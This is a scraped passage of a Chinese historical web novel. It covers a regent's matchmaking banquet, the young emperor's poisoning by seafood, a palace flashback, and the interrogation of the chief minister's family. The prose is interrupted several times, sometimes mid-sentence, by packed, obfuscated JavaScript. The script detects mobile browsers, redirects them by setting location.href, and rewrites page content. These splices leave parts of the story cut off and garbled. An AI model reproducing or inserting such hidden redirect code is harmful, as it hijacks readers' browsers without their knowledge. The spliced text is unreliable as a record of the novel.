“恕罪?恕的哪门子罪?”花疏叶不明所以,他挠了挠后脑勺:“寡人只是问问你日后如何而已,怎么行如此大礼?” “臣……臣……”官员支支吾吾,倏然间福至心灵:“臣日后定当为皇上肝脑涂地,死而后已!” “噫——”花疏叶嫌弃地扇了扇鼻子,“血赤呼啦的,寡人有些后悔问你了。” 花疏叶继续往前走,依旧挥手打招呼,完全没有半点儿皇帝的架子。即便他面对的仅仅只是一堆匍匐在地的官员,却祈盼着有人能够大胆起身与之握手,然后相视一笑。似是觉得甚是无聊,他招呼众人起身。 “诸位快快请起,快快请起——” 叶袭宸跪在前面,额头磕在手背上。听着那极其熟悉却陌生的声音,如同从遥远的彼岸传过来般,她的唇角不由得溢出一抹淡淡的笑意。 花疏叶坐到了原先唐锶谐坐的位置上,众人依言起身,回到原位坐下。然肉眼都可看得出,大家的脸上都透露着些许不自在。 花疏叶笑呵呵道:“众人接着舞,莫要让寡人破坏了诸位的兴致!”他看向沈秋实:“寡人问一句,沈爱卿,方才弹奏曲目之人系谁?” 他闭上眼睛,似在回味。 “方才的曲目委实叫人魂牵梦萦,寡人不自觉想起了先前与长姐的几位闺中密友相伴玩耍的日子。宋相,叶将军,沈状元……” 众人的脸色都有些难看,任谁都知道叶将军与摄政王乃是死敌。皇上却在怀念叶袭宸,这是何缘由。 叶袭宸的脸色倒是不难看。 几日不见,花疏叶倒是长进了不少。 花疏叶看向唐锶谐,嬉皮笑脸地问了一个有些致命的问题。 “摄政王以为呢?” 唐锶谐庄重地起身,跪在花疏叶面前:“臣深以为然,方才乃是沈状元为臣弹奏的一曲风花雪月,叫皇上见笑了。” 避而不谈另外几人,反倒回到皇上原先问的问题。 叶袭宸不由得眯了眯眼睛。 “原是沈状元弹奏的,难怪叫寡人听了耳熟呢。沈宰辅,你倒是生了个好女儿。” 若是花疏叶不提,叶袭宸倒还未料到沈奉这个老匹夫不知何时出来了。宴会开始前,她左顾右盼,就是不见这老东西。整个宴会由沈秋实主持把控,他躲得清净。 这个老东西着实有些手段,花疏叶授意他去办唐锶谐的相亲宴会,美其名曰是为了大衍的根基着想。既然花疏叶提了,他不能不办,但难免叫人以为他是唐锶谐一头的。故而自己不出面,既完成了花疏叶交代下来的事情,又不会引起君王的猜忌之心。但如今既然皇上都亲自来了,他也不得不出面。 老狐狸。 自叶袭宸占了沈道溦的身体以来,她还是第一次见到沈奉这个老狐狸。沈道溦病卧在床,他不闻不问。沈道溦病情好转,他也不闻不问。反倒是唐锶谐的相亲宴会到了,他想起沈道溦这个女儿了。 沈秋实在宴会上倏然间让叶袭宸表演曲目,大抵也是沈奉这个老匹夫的意思。既不想引起君王的猜忌,又想拉拢摄政王。 叶袭宸细细地品着酒,端看沈奉如何回应。他如今已是知天命之年,白发白须,看着确有几分仙风道骨的模样。然而知人知面不知心,这个老东西是个滑头。 只见他一身灰色衣袍地跪在地上,双手叠在身前行礼:“都是托了先皇和长公主的福气,小女降生之际,先皇派人给了赏钱。小女郁郁不得志时,是长公主开放了女子科举,让小女有入仕的机会。如今老臣的一切,皆是皇家的恩典。” 叶袭宸禁不住要为沈奉鼓掌了,且不说他如今这番话究竟抱的是何种意图,单就他为花疏玉说的那两句话,她就不得不拍手叫好。 花疏叶摇晃着酒杯,玩世不恭道:“既然是皇家的恩典,那么寡人为沈状元赐一桩婚事可好?” 沈奉还未开口,跪于其右下方的唐锶谐握紧了藏于衣袖中的手。 花疏叶慢条斯理道:“沈状元虽先前与皇兄有过婚约,但皇兄已死去多年,这桩婚约便作不得数了。如今沈状元正值青春年华,岂可因皇兄之故耽误了沈状元?” “皇上说得是。”唐锶谐道。 叶袭宸放下酒杯,起身跪在沈奉的身侧:“请皇上赐婚。” 此言一出,叶袭宸感觉到了一道从唐锶谐处投过来的目光。但她也懒得计较其中意味了,总归不是对她。 “寡人以为摄政王与沈状元郎才女貌,当真是再合适不过的一对了。摄政王以为如何?” 众人神色各异。他们都不是心思简单之人,若是宰辅府和摄政王联姻,对于皇权可是极为不利的。但是皇上不仅不阻止,反而一力促成。 叶袭宸玩味地看向唐锶谐。透过那半边银色的面具,她感觉到他似是苦涩地笑了一声,大抵在说:“难道还能抗旨不成?” 果不其然,唐锶谐郑重地磕了个头:“臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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众人无不拍手,与花疏叶到场一起带来的紧张随之消散。歌姬们重新上场,鼓乐声响起,全场陷入欢呼。 叶袭宸和唐锶谐都各自回到座位上坐下,她已经没了心情去欣赏舞姿,虽然其中不乏有腰肢柔软的男子。 “楚无暇那厮还是没有出现吗?” 若云犹豫半晌,附耳过来:“主子,方才楚公子已经来了。正巧撞见了皇上为摄政王和主子赐婚,便离开了。” “离开之前可有说些什么?” ”他说主子吩咐的事情已经准备妥当,请主子放心。” “如此甚好。” 若云疑道:“主子吩咐楚公子去做什么事情了?” 叶袭宸神秘一笑:“待会儿你便知道了。” 若云不明所以,总是不明白自家主子葫芦里卖的到底是什么药。她说要在摄政王的相亲宴会上闹一闹,如今却并不抗拒嫁与摄政王。她说要大少爷付出性命的代价,如今却配合大少爷与老爷。 难道主子真的要在洞房花烛夜动手? 筵席上酒水殆尽,已经禁不住这些达官贵人的挥霍。几个丫头小厮为这些贵人添上新的酒水吃食,而花疏叶的酒则是由沈秋实亲自所送。 叶袭宸目不转睛地看着沈秋实给花疏叶斟酒,看着花疏叶嬉笑着一口饮下,然后因为手指颤抖而酒杯掉落,身子不受控制地往后倒在座位上。 ! 满座震惊! “皇上!皇上!” 大太监德信急切地唤了几声,捏着嗓子尖叫起来:“皇上——遇害了!” 19. 第 19 章 御花园内,鲜花开得正是鲜艳的时候,小虫子欢快地叫着。廊下挂着一串串风铃,随着微风的吹拂而发出悦耳的响声。与此同时还有书桌上纸页翻动的声音,只是椅子上却不见了人影,唯余些许温度。 一个挽着袖子裤脚的少年正蹑手蹑脚地在花园中穿梭,不知道在寻找着什么。他的年龄不过十二三岁,正是玩乐的年纪。模样也甚为惹人,纤细的小臂透着一股子病态的苍白,然而脸颊却因紧张激动而透露着一股子红润。 一粒小石子从天而降,冷不防砸在他的头上。 “哎呦!” 他禁不住叫了一声,捂着脑袋左右张望。 “不好生读书,反倒在此玩乐。” 一道极其慵懒的声音从头顶上传来,少年抬头,只见一个身着紫色紧身衣的女子侧躺在墙头之上,支着脑袋,唇角微勾。 不是叶袭宸又是谁? “你这么不成器,小心我告诉你皇姐。” 叶袭宸从墙头一跃而下,少年吓得拔腿就跑。她一个跃步跳至少年的身前,少年立即转身。叶袭宸伸手扯住他的后脖领,任少年如何挣扎也挣脱不得。 “花、疏、叶——”叶袭宸一字一顿叫出了他的名字,戏谑道:“被我当场捉住还想跑?”她把花疏叶扯到自己面前:“你跑得了吗?” 花疏叶低着头小声道:“我知道跑不了。” “知道跑不了还跑?” 花疏叶硬气道:“总得试一试。” “现在知道结果了吧。” 花疏叶耷拉着脑袋:“知道了。” “知道了就随我去见你皇姐去。”叶袭宸轻笑一声:“上次你就不好生读书,偏你皇姐那段时间忙得厉害。如今她空出时间来了,今日定要狠狠罚你一顿。” “……” 花疏叶认命般地垂下手臂,缓缓地将撸起的衣袖整理完整。 叶袭宸狡黠道:“不过你若是求我一句,我可以考虑放你一马。” 花疏叶眼中燃起希望的小火种,然而还没等他开口求人,一道严厉的声音便从身后传来。 “你们打算让我放谁一马?” 叶袭宸与花疏叶俱是一惊,他们不约而同地回过身来,却见花疏玉不知何时已经站到了他们身后。 花疏玉双手负在身后,神色凝重,视线在他们两个的脸上转了一圈,慢吞吞开口:“你们两个混在一起,又在准备什么精致的胡闹?” “阿玉……”叶袭宸弱弱开口:“我们……” “阿宸。”花疏玉脸色阴沉:“花疏叶不懂事,你也不懂事吗?” 叶袭宸有些委屈:“我没有。” “皇姐,阿宸姐姐说要带我去捉蝈蝈。”花疏叶面不改色道:“还说要我给她找几个长相可人的小太监,供她观赏。” 叶袭宸难以置信:“好你个小叶子,你居然污蔑我……”她着急向花疏玉解释:“阿玉你听我说,其实是……” “皇姐,你知道的。”花疏叶打断叶袭宸的话,平静道:“我自小听你的话,若不是阿宸姐姐蛊惑,愚弟怎么敢?” 叶袭宸咬了下唇角。 花疏叶将他们两人的神情尽收眼底,“好了,你给我念书去。你,跟我来学古琴。” 最后一句是对叶袭宸说的。 叶袭宸立马叫苦:“我宁愿让你在我身上刺十几个窟窿,也不学那风花雪月的玩意儿。” “多学些东西对你有好处。” 花疏玉的口吻不容置疑,且已经叫人搬来了古琴,就在花疏叶的书桌前不过几步远的位置。正巧在花丛中间,各种花朵的芳香钻入鼻中。 花疏玉硬把叶袭宸按在古琴前,叶袭宸几欲起身,都被她按回去。她叹了口气趴在古琴上,“请长公主斩了我吧,臣虽死无憾。” 花疏玉轻轻挑眉:“叶将军乃我朝中栋梁,本宫又岂会轻易斩你?” 叶袭宸笑嘻嘻地讨饶:“既是朝中栋梁,长公主今日可否放我一马?” 花疏玉俯下身,温热的唇角发出冰冷的话语:“绝无可能。” 叶袭宸只能作罢,手胡乱地拨弄着琴弦。刺耳的声音乱七八槽地冲出来,周遭的花瓣都被惊掉了一地。犹如风卷残叶一般,叫人听了阵阵发颤。 花疏叶原本就看不进去书册,如今更是心烦意乱。 花疏玉连连摇头:“你这是故意的。” 叶袭宸抿着唇不说话,就差把“我是故意的”五个字写在脸上了。 花疏玉叹息一声,一撩衣袖坐在叶袭宸的身后,双手覆在她的手背上,带动着她的手指拨动琴弦。 叶袭宸如触电般回头:“这是作甚?” “本宫亲自教你。” 在花疏玉手把手的亲自教授下,一首极其舒缓的曲子徐徐从叶袭宸的手指下流出。 花疏叶轻闭双眼,沉醉其中。倏然间几个匆忙沉重的脚步声在耳边响起,夹杂着几句模糊不清的话语,甚是烦人。 “皇上性命当真无忧?” 皇上? 父皇的身体已经一日不如一日了,梁王蠢蠢欲动,皇姐日夜守在床边,尽心尽力。 “只是误食了发物,臣已经开了方子。” 发物? 父皇不是听信那些道士的花言巧语,进食了大量丹药才导致身体日渐虚弱的吗? 这人怕不是个庸医吧。 自古庸医害人,他可不能坐视不理。 “摄政王,皇上的手指方才似乎动了。” 摄政王? 他紧皱眉头。 父皇虽然早已不复往日的英勇神武,但是对于朝政他一向是紧紧把握在手中,绝对不容许任何人染指。就连太子皇兄他都诸多怀疑,更何况是立摄政王? “摄政王……摄政王……” 太医秦陵正在翻看皇上的眼皮,倏然间见皇上唇角翕动,仔细听清了才道:“摄政王,皇上似是在唤你。” “……” 隔着半边银色面具,秦陵看不清摄政王的神情如何,但感觉似是怔愣了片刻。她心中复杂,正想悄然退出去之时,却被唐锶谐叫住。 “皇上生死未卜,你到何处去?” 语气极冷。 自然是退出去给您机会对皇上下手。 秦陵对朝中皇上与摄政王之间的明争暗斗早有耳闻,今日皇上误食发物,想来也是摄政王的手笔。 只是这个佞臣似乎还要做做样子。 如今屋内除却皇上,只剩她与摄政王二人。他自是不想做弑君之人,否则早在两年前杀入帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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什么叫做自作聪明,她今日总算体验了一回。从前她处处小心,揣摩他人心思,即使心中有数也能做到面上不显。不成想摄政王竟不按常理出牌,心思更是常人难以理解。 “来人,将秦陵拉出去砍了!” 屋内立即涌进来两人,不由分说便将秦陵拿下。秦陵狼狈地跪在地上,发丝凌乱了几许。她抬起头怒视着唐锶谐,唇角被牙齿咬破,渗出血迹。 这是最后一博。 营造出咬舌自尽的假象。 以死明志。 唐锶谐居高临下地看着,半边面具露出的那双眸子里,无悲无悯。 “押出去!” “等一下。” 秦陵猝然回头。 沈状元沈道溦? 她来做什么? 叶袭宸走到唐锶谐面前,微微欠身:“请摄政王放过秦太医。” 唐锶谐神色未变:“对皇上怀有二心,理应处死。” 叶袭宸笑了起来:“对皇上怀有二心之人何止秦太医,外面院子里有一群。摄政王不对那些人下手,反倒要为难皇上钦定的院使,是何道理?” 唐锶谐抿唇不语。 “柿子总是挑软的捏不假。但摄政王若想杀一儆百,震慑百官,其实最该杀的是今日让皇上误食发物之人。” 叶袭宸唇角噙笑:“难道不是吗?” 20. 第 20 章 皇上的病情已经有所好转,摄政王派人将他送回皇宫后,就开始处理后续事宜。他将沈府上下所有与筵席相关的人都集中在院子里,亲自仔细盘问。 叶袭宸坐在唐锶谐的旁边,一句话不说,只是垂眸。若云和长辞站在她的两旁,神情平静。 长辞到底是小孩子心性,压低了声音问道:“若云姐姐,咱们主子也是沈府的人,为何不会被盘问?” 若云道:“咱们主子性子柔软,想来是摄政王认为主子做不出谋害皇上的事情来。再者,主子与摄政王已经订下了亲事,已然成了利益共同体。若是盘问主子,传出去恐怕有损摄政王的名声。” 长辞若有所思地点点头。 先前见摄政王看在自家主子的面子上放过了那个触怒他的女太医,他还道摄政王是个色令智昏的糊涂蛋,原来并非如此。 唐锶谐已经盘问完了所有的下人,唯有沈奉和沈秋实没有问了。叶袭宸觉得唐锶谐审人有些道道,一般来说,都是先盘问地位高的,然后层层递下,他倒反过来了。 盘问沈星月的时候出了岔子,这个小丫头依旧是个火爆脾气,直接拿出鞭子就来抽唐锶谐。 这是唯恐沈府逃过这场无妄之灾。 唐锶谐毕竟是从战场上厮杀出来的,沈星月的鞭子还未抽过来,他就已经闪避到一旁了,还不忘将叶袭宸拉起来护在身前。 叶袭宸本有信心躲过,如今猝不及防扑到唐锶谐的胸前,嗅到了他身上多年不变的龙涎香味道。心道这人居然还是如此讲究,无论何时何地,身上总是飘着一股子若有若无的香气,就连在战场上厮杀时也是如此。 “以多欺少的伪君子!我今日就要为她报仇雪恨!” 沈星月又是一鞭子抽过来,若云和长辞早已吓得躲到一旁。鞭子扫起桌子上的酒杯,啪地一声摔在地上。她又是一鞭子扫来,将那些碎片全都卷起来,尽数甩到叶袭宸与唐锶谐的身上。 唐锶谐将叶袭宸护在身后,尽数挨下了那些碎碴子。眼前这一切发生得太快且又极其匪夷所思,等到看到唐锶谐的一袭青衣上冒出点点血渍,身旁的两个侍卫谢有缘和林有分才回过神来,纷纷拔剑与沈星月缠斗在一起。 “你可有事?” 语气甚为急切。 唐锶谐紧张地查看着叶袭宸,叶袭宸摇了摇头,语气淡漠疏离:“无事,谢摄政王关心。” 唐锶谐的动作僵硬了一下。 看来两年过去了,她心里还是有怨气。 叶袭宸看向院内打斗的三人。 下人们吓得四散逃开,如此空旷的院子倒是为这三人提供了一个绝佳的决斗场合。沈星月使的是鞭子,有万夫不当之勇,谢有缘和林有分以及其余侍卫一时也近不得她的身。她尽情挥霍着,昨晚筵席上的红灯笼及其彩带全都被打下来,化作最锋利的武器狠狠射向侍卫们。 有几个侍卫被射伤倒下,其余侍卫更加不敢上前。叶袭宸瞧着这混乱的一切,不由得勾了勾唇角。 该说是唐锶谐的侍卫们不堪一击呢,还是说沈星月的武功已经到了登峰造极的地步? “此前我曾听说,”唐锶谐双手背在身后,语气恢复了以往的清冷平静,藏于袖中的手却有些许轻微的颤抖:“她曾受过……叶袭宸的指点。” “叶袭宸”这个名字是造成他们如今隔阂的主要原因,若是可以,唐锶谐一辈子也不愿提及。但解铃还须系铃人,先前隔阂也就隔阂吧,横竖他们一年到头也见不了几次面,纵然心有千千结,也只能按下不表。但如今既然皇上已经为他们赐了婚,道溦也没有拒绝,那么日后他们是要在一起过日子的。 这个隔阂必须消除,是以他主动提及。 “哦?”叶袭宸语气平常:“摄政王如何知晓?” 其实问出口后她就想明白了,唐锶谐对她向来是杀无赦,过去的几年里一直在研究对付她的法子,对于她接触的人自然也比较关注。 但如今在他眼里她不是叶袭宸,而是沈道溦。由沈道溦问出口的问题,则带着另外一层吃醋的意味。 “……偶然听说的。” 叶袭宸道:“摄政王在此时提及此事,是认定小妹是叶袭宸的同党吗?既然摄政王认定她是叶袭宸的同党,为何不将其按与叶袭宸同罪论处?” 似是质问。 唐锶谐垂下眼帘。 她还是对自己杀了叶袭宸的事情耿耿于怀。 唐锶谐抬眼看向远处,声音有些悠远:“倘若我不分青红皂白就将其与叶袭宸同罪论处,岂不是和叶袭宸是一样的人了。” 叶袭宸蹙眉道:“此话何意?” “叶袭宸嗜杀成性。”唐锶谐闭了闭眼睛道:“为了让天下人俯首听命,她囚禁皇上,逼迫其写下禅位诏书。为了不让天下人有理由起兵,她屠尽皇室,就连年幼的孩子也不肯放过。如此嗜血的一个人,值得你待她如此吗?” 这还是叶袭宸第一次听到唐锶谐谈及杀自己的原因,不过此时此刻他说这些做什么? “此话何意?” 唐锶谐看着叶袭宸:“两年间你日日为她以泪洗面,自责是自个儿身子不争气,才没能赶得上在我面前为叶袭宸说上一句话。但今日我想告诉你的是,即便当时若云及时赶到,即便当时你也亲自来了,即便你苦苦哀求,我也不会因为你而放过她。” 叶袭宸若有所思:“原是如此。” 原来沈道溦曾经在唐锶谐面前保过她,只是唐锶谐没有同意。 这是叶袭宸万万没有想到的。 “故而我请你放过自己,不要再折磨自己的身子了。” 叶袭宸蹙眉:“这又是何意?” 唐锶谐重新看向远处:“近来你言行怪异,外界都在传言,你因为叶袭宸之死发疯了,故而模仿她的言行举止,竭尽全力将自己变成她。” 说到此处,唐锶谐再次看向叶袭宸,目光深切。 “道溦,我知你与叶袭宸情感深厚,也知你敬佩于她。女子本柔弱,为将则刚强。但她杀戮太重,不配你如此惦念。举止轻浮,不配你如此学习。” 叶袭宸笑了一声:“摄政王,我可否问你一个问题。” 唐锶谐看着叶袭宸的眼睛,薄唇轻启:“你问吧。” “摄政王曾是战场上的将军,请问摄政王当初领兵打仗为的是什么?” “自然是保家卫国。” “北蛮人发动战争,掠夺我朝国土,又为的是什么?” “他们国土贫瘠,不若我朝富庶。若是不掠夺财富,恐是难以生存。” 叶袭宸笑了一声:“抛却立场不谈,摄政王以为北蛮人是对是错?” “为生存所做之事,无言对错。” “既然如此,那么叶袭宸所做也并没有错。”叶袭宸道:“长公主乃是皇上的胞姐,皇上连她都可轻言放弃,又怎么会放过与其感情甚笃的叶袭宸、宋雪砚等人? 唐锶谐道:“皇上也是为了巩固政权。” 叶袭宸冷眼道:“自古以来,皇权都是必须要巩固的东西。皇上可以为此做任何事,但不应做绝。倘若他要做绝,也就莫怪其余人起兵反叛。” “君要臣死,臣不死不忠。” 叶袭宸轻哼道:“何谓忠?忠于国家还是忠于帝王,亦或是忠于子民?叶袭宸虽然囚禁皇帝,但她出兵平定北蛮,立下赫赫战功。倘若长公主无事,这一切都不会发生。” 唐锶谐沉默不语。 叶袭宸讥讽道:“当初先皇要太子饮鸩自尽,彼时摄政王还是太子的伴读,难道当时你也是坐视不理吗?” 唐锶谐抬眼看她。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933427|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如若我没有记错的话,摄政王当时选择了顽强抵抗。最后死伤惨烈,唐府被满门抄斩。若不是长公主为你平反,你如何能做得成将军,更妄谈今日的摄政王之位!” “所以——”唐锶谐道:“我一心一意为皇上,绝对不会心生背叛。” 叶袭宸笑了:“原来你一心一意效忠的是花家的男子,而非花家。” 唐锶谐垂下眼帘,沉默不语,似是默认了。 叶袭宸道:“但摄政王须知,伴君如伴虎,皇上可以因猜忌长公主而对其下此毒手,对摄政王自然也不会手软。” 唐锶谐抬眸。 叶袭宸道:“摄政王当然可以选择放手一搏,毕竟今日的你如日中天,兵权也尽在你手。” “我绝不会如此做。” 叶袭宸勾唇:“希望到时摄政王说到做到。”说罢,便看向远处依旧处于僵持状态的众人。 谢有缘一把扯住沈星月甩过来的鞭子,林有分持剑刺向她。他要的是沈星月放弃鞭子,闪身躲避。而沈星月偏偏不按他的心意来,以谢有缘为圜心,灵活地绕了一圈。不仅避开了林有分的攻击,反倒将谢有缘捆绑住了。 谢有缘的脖子被束缚住,剑也被沈星月趁机夺去,直接刺向唐锶谐。 “奸贼!” 沈星月目眦尽裂,面露凶相。 “摄政王小心!” 林有分急忙持剑来挡,眼看沈星月就要被刺到,而后者却毫无所察,只一心想要唐锶谐的命,叶袭宸微微蹙眉,袖中悄然滑落一枚红枣,轻轻将其弹出。 林有分的剑被叶袭宸打掉在地。 沈星月的剑被唐锶谐双指夹住。 “你!” 沈星月用尽全身力气,却也无法前进分毫。她便在剑上借力,双脚踹向唐锶谐,却被后者避开。与此同时,剑身也被他夹断。其余侍卫迅速反应了过来,纷纷持剑攻击。 沈星月持断剑抵挡,不敌,遂被林有分拿下。 唐锶谐吩咐道:“押下去。” 这个小骚乱并未破坏唐锶谐的兴致,他依旧是那副不咸不淡的样子,背上的伤口也不叫人来处理就继续盘问沈府的人。如今就只剩下沈奉和沈秋实了,他打算一并审问。 父子俩双手被缚,狼狈地跪在地上。 “你们究竟是何居心,居然敢在酒水中下毒,谋害皇上。” “摄政王明察,老臣不敢呐!”沈奉梆梆磕头。 沈秋实向前膝行几步,神情慌张:“摄政王明鉴,定是有人蓄意陷害!” “蓄意陷害?”唐锶谐脸色铁青:“方才我已经问过了太医,皇上误食的发物乃是海错。而这批海错,乃是沈秋实你亲自采购。” “什么?”沈秋实大惊失色:“皇上不能吃海错?” 叶袭宸在旁边看着,心内冷笑。 自然。 花疏叶自小就不能吃海错,就连在海水中站上些许时辰,都会立即昏厥。帝京偏北,自是见不得海水。是以沈秋实不知道也实属正常,叶袭宸能得知也是偶然。 沈秋实此时恐怕连肠子都悔青了。 沈秋实梆梆地磕着头:“微臣不知!微臣不知呐!” 沈奉恨铁不成钢地给了沈秋实一巴掌:“你这逆子,叫你平日小心谨慎,你却只当耳旁风。如今皇上危在旦夕,整个沈府都要被你连累了!” 沈秋实捂着脸,也顾不得维持什么高深了,面上委屈,嘴里叫着:“爹你打我做什么?我事先又不知情。要说害了整个沈府的,是二妹才是!” “你……你们……”沈奉气得捂着胸口,脸色涨红,险些一口气提不上来:“我怎么养了你们两个不知死活的儿女!” “都是老臣教子无方!”沈奉老泪纵横,头磕在地上,“此事系老臣一人之过,请摄政王降罪!” 21. 第 21 章 “你以为如何?” 唐锶谐倏然间没来由来了这么一句。 叶袭宸低着头,神情极为恭敬:“一切听凭摄政王做主。” 唐锶谐有些意外,他一瞬不瞬地盯着叶袭宸:“一个与你毫无干系的太医,你都能求情,为何对自己的父兄无动于衷?” 叶袭宸道:“那个太医虽然与我毫无干系,但是她并未做错什么,更没有做出毒害皇上的事情来,是以我能求情成功。但如今皇上是真真切切在兄长举办的筵席上中毒了,即便我痛哭流涕求情,摄政王也不会心软。” 言罢,她自嘲地笑了一声:“摄政王心里自有想法,若是我能改变您的决断,两年前就做到了。” 唐锶谐神情僵硬。 “你这个毒妇!” 沈秋实并未看懂他们之间的微妙,只知道叶袭宸要置他于死地。临近生死关头,很少有人能冷静处事。 沈秋实自然也不例外。此时的他慌不择路,逮谁咬谁。只要谁说出对他不利的话,不管是为救他还是害他,他都要反击回去。 他挣扎着起来向叶袭宸扑去,但还未到跟前,便被谢有缘拿下。沈秋实披头散发,眼睛猩红,死死地瞪着叶袭宸,唾沫星子乱飞,牙齿间口水拉丝:“你就是想置沈府于死地是不是?对自己的父兄如此无情,你根本不配为人!” “兄……兄长说得是。” 叶袭宸似是被吓到,面露愧疚。她神情慌张地跪倒在唐锶谐面前,头磕在地上:“请摄政王饶恕沈府一干人等,兄长无心之失,不知者无罪,今日之事实在是个意外!” “意外?”唐锶谐面不改色:“皇上的事情能叫意外吗?倘若出了差错,你们有几个脑袋!今日不管谁求情都没有用,有关人等我都要一并治罪!” 叶袭宸心道。 你早这么说不就万事大吉了吗? 腹诽归腹诽,表面功夫还是要做一做的。 叶袭宸膝行几步,还要再说,唐锶谐已然起身,叶袭宸扑了个空。 “将沈秋实押入死牢,沈宰辅等人暂且幽禁沈府,一切等候皇上醒来发落!” 几句话像是沉重的石头砸在每个人的心上。 沈秋实瘫倒在地,久久不能回神。唐锶谐已经甩袖离开,几个侍卫上前来押沈秋实离开。他愤恨地看了叶袭宸一眼,犹如吐着信子的毒蛇一般。 官员们早已四散离开,纷纷唏嘘往日还风光无限的宰辅府如今竟落到这步田地。 昨夜还热闹的庭院如今已经一片萧条。 叶袭宸把沈奉扶起来,“对不起,父亲,女儿未能保全沈家。” 沈奉摇了摇头:“如今这个境况,已经是摄政王法外开恩了。”他叹了一口气:“人如何能捅出如此大的篓子来,你兄长沈秋实果真是不堪大用呐。如此一件小事,他都能办砸了。为父真是后悔呐,若是早将此事交由你来办,事情恐怕不会闹成如今这般模样。” 叶袭宸道:“父亲,事情已经如此了,多说无益,能保全一个是一个。兄长进了死牢,恐怕无力回天。如今我们还是想想该如何保全小妹吧。” “星月……”沈奉按了按太阳穴:“这个女儿果真是被为父宠坏了,居然敢对摄政王大打出手。她怎么不想想,她是摄政王的对手吗?沈府日后又该如何?” 叶袭宸劝道:“但总归来说,比起兄长所犯的错,小妹尚且还有挽回的余地。摄政王心胸宽广,想必不会和小妹一般计较的。” “为父如今是心有余而力不足啊,道溦,此事就要指望你了。”沈奉郑重地看着叶袭宸:“道溦,先前是为父忽略了你。但今日之事看来,你比你兄长更能沉得住气。” 叶袭宸露出为难的样子:“父亲,光是沉得住气是万万不行的,倘若没有黄白之物疏通关系,我如何能做得到?” “道溦,你一定要做到。若是需要黄白之物,为父可将沈府尽数交于你手。” 叶袭宸大惊:“父亲,这如何使得?” “使得使得。道溦,你要记住,为父已经失去一个女儿了,万不可再失去一个。” “父亲说的是沈言商?” 沈奉苍老的面容上露出一丝苦笑:“她已经三年没有回过家门了,若是有生之年能看到她回家,即便是现在立即死去也无憾了。” 叶袭宸鼻子有些酸疼:“父亲……” 沈奉摇了摇头,浑浊的眼睛里开始落下泪来。 “父亲,我会再去求摄政王的。” 沈奉点点头,由着老仆将他扶回去了。叶袭宸心思复杂地看着沈奉苍老的背影,她抬手慢慢擦掉眼角的泪水,不敢置信地看着被眼泪沾湿的手指。 “……” 若云走到叶袭宸身旁,疑惑道:“主子,摄政王方才那句话究竟是什么意思,他是要主子求情还是不让主子求情?” 叶袭宸神情淡漠:“他只是想欣赏我求情时的神色而已。他在愚弄我,想看我匍匐在他脚下,狼狈不堪,甚至痛哭流涕的样子。” 若云气愤道:“摄政王居然是如此无情无义之人。” 长辞插话进来:“可是……可是摄政王并未像审犯人般盘问主子。” “这正是他的阴险之处。”叶袭宸沉着道:“独独将我排除在外,是想让我在沈府无法立足。” 若云和长辞对视一眼。 若云皱眉道:“难道不是期望沈府其余人都来巴结主子吗?” 叶袭宸讥讽道:“即便如此,这也是他拉拢沈府的手段罢了,我不过是他的一颗棋子。” 长辞疑惑不解:“可是……可是摄政王说他永远不会背叛皇上,他拉拢沈府有何用?” 叶袭宸嗤笑一声,回身看向长辞:“你相信吗?” 长辞不说话了。 一个人的野心是最无法估量的东西。 “他只将沈秋实押入死牢,可并未说要处死他。美其名曰等候皇上醒来发落,可是在皇上醒来的这段时间里,究竟有多少文章可做?” 长辞暗自心惊。 叶袭宸的脸上露出轻蔑的神情。 看来这个唐锶谐对于沈道溦的情感也并非那么纯粹。原本她还觉得利用他人感情的手段有些不光彩,现在看来倒是半斤对八两了。 “我累了,长辞,叫人来收拾下,我先回暖雪阁了。” 叶袭宸面露疲惫,若云想要上前来扶她回去,却被叶袭宸制止:“长辞还有些事情不懂,若云,你在旁边盯着点儿。” “是。” 叶袭宸独自一人回了暖雪阁,屋内早已有人等候多时。他手持一把折扇,正悠闲地喝着茶。 脸上的疲惫荡然无存,叶袭宸调侃道:“出了这么大的事情,你居然还在府里。” “其实早在前一日,我便向秋实兄辞行了。他本就想撵我出府了,如今我主动提出,他自然是求之不得。” “原来如此。” 叶袭宸坐于桌前,楚无暇反客为主地为她斟茶。 “摄政王的府兵来搜人时,自然也就想不到我还有我这么一个人物。待他们离开时,我跳入院中,等候小姐。” 楚无暇将茶杯放在叶袭宸面前,抬头似笑非笑地看着她。叶袭宸徐徐吹开茶面上冒出来的热汽,轻轻抿了一小口。 “烫了。” 叶袭宸将茶杯放回桌面。 “我为小姐吹一吹。”楚无暇端起茶杯,缓缓吹着。待到杯身不烫了之后,才将茶杯重新送至叶袭宸面前。 “多谢。”叶袭宸捏起茶杯喝了一口,咂巴了一下味道,赞道:“你从何处寻来的茶叶,味道比我的好上太多了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938590|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 